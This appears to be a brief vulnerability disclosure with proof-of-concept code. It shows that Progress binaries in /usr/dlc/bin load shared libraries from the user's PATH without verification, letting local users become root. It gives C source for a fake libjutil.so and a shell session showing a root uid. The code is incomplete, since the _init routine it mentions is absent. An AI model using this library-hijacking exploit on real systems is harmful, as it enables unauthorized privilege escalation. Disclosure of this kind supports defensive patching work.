Progress applications make the use of several helper .DLL and .so binaries. When looking for shared object files for use in a dlopen statement Progress choose to look in the users PATH. No verification is performed upon the object that is located thus local non super users can make themselves root. (Most binaries in /usr/dlc/bin can be exploited via this method).
As you can see the library libjutil.so is searched for in the users PATH. So we can create a shared library and exploit the vulnerability (code provided by: core[at]bokeoa.com):
#include <stdio.h>
#include <string.h>
// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init
int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}
[elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)
+0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
uid=0(root) gid=500(elguapo) groups=500(elguapo)
In the above example we just gave it a little help finding the .so The dlsym command will help you determine which fake functions you need to make the exploit work.